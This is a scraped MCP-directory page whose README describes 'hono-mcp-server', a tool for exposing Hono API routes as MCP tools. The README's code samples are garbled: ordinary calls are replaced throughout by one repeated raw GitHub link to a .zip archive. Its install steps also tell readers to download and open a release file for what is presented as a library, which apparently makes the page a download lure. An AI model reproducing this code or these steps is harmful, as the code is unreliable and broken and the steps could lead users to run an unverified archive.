Skip to main content
Glama
ninjacazul

hono-mcp-server

by ninjacazul

🎉 hono-mcp-server - Easily Expose Your Hono API

🚀 Getting Started

Welcome to the hono-mcp-server repository! This software allows you to easily expose your Hono API endpoints as MCP tools. Follow these simple steps to download and run the application.

Download hono-mcp-server

Related MCP server: mcp-honojs

📥 Download & Install

  1. Visit the Releases page.

  2. Look for the latest release. You will see a list of available files.

  3. Download the file suitable for your operating system.

  4. Once the file is downloaded, locate it in your downloads folder.

  5. Open the file to start the installation.

📂 Features

  • Simple API Integration: Use the software with minimal configuration.

  • MCP Tool Registration: Easily register tools for your API endpoints.

  • Type-Safe Input Handling: The application ensures that input data conforms to expected formats.

⚙️ System Requirements

To run hono-mcp-server, ensure your system meets the following requirements:

🛠️ How to Use

After installing the hono-mcp-server, you can set it up for your project. Here's a simplified way to integrate it into your existing application:

  1. Import the Library: Use the following code snippet to import hono and the hono-mcp-server library.

    import { Hono } from "hono";
    import { z } from "zod";
    import { mcp, registerTool } from "hono-mcp-server";
  2. Create the API: Here is a basic example to get you started:

    const app = new Hono()
      .get("/users", registerTool("List all users"), (c) => https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip([{ id: 1, name: "Alice" }]))
      .get("/users/:id", registerTool("Get user by ID"), (c) => https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip({ id: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip("id") }))
      .post(
        "/users",
        registerTool({
          description: "Create a new user",
          inputSchema: {
            name: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().describe("User's full name"),
            email: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().email().describe("User's email address"),
          },
        }),
        async (c) => {
          const { name } = https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip("json"); // typed!
          return https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip({ id: 1, name });
        },
      );
  3. Expose Your API: Finally, expose your API as MCP tools.

    export default mcp(app, {
      name: "Users API",
      version: "1.0.0",
    });

📊 Input & Output Schemas

With the registerTool() function, you can define input and output schemas for your API endpoints. This helps maintain consistency and reliability across your API.

Example Schema

const inputSchema = {
  name: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().describe("User's full name"),
  email: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().email().describe("User's email address"),
};

🔍 Troubleshooting

If you encounter any issues during installation or usage, check the following:

📧 Support

If you still need help, feel free to reach out. You can open an issue on the GitHub repository. Our community is here to assist you.

📦 Additional Resources

Download hono-mcp-server again to ensure that you have the latest version. Enjoy building your APIs!

A
license - permissive license
-
quality - not tested
C
maintenance

Maintenance

Maintainers
Response time
Release cycle
Releases (12mo)
Commit activity

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • A
    license
    -
    quality
    D
    maintenance
    Exposes Hono API endpoints as Model Context Protocol tools, allowing LLMs to interact with your API routes through a dedicated MCP endpoint. It provides helpers to describe routes and includes a codemode for dynamic API interaction via search and execute tools.
    75
    86
    MIT
  • F
    license
    -
    quality
    D
    maintenance
    A lightweight Hono.js middleware for building Model Context Protocol servers using a simple, fluent API and supporting both SSE and HTTP transports. It enables developers to create type-safe, edge-ready MCP-compatible APIs with built-in session management.
  • A
    license
    -
    quality
    C
    maintenance
    A minimal, fetch-first implementation of the Model Context Protocol (MCP) server APIs for building type-safe tools with structured outputs.
    116
    MIT

View all related MCP servers

Related MCP Connectors

  • Self-hosted MCP gateway: turn any API, database or MCP server into AI connectors — no code.

  • Free public MCP for AI agents — 193 tools, 44 workflows. No API key.

  • Hosted MCP endpoint with realistic fake data for prototyping agents. 12 tools, no setup.

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/ninjacazul/hono-mcp-server'

If you have feedback or need assistance with the MCP directory API, please join our Discord server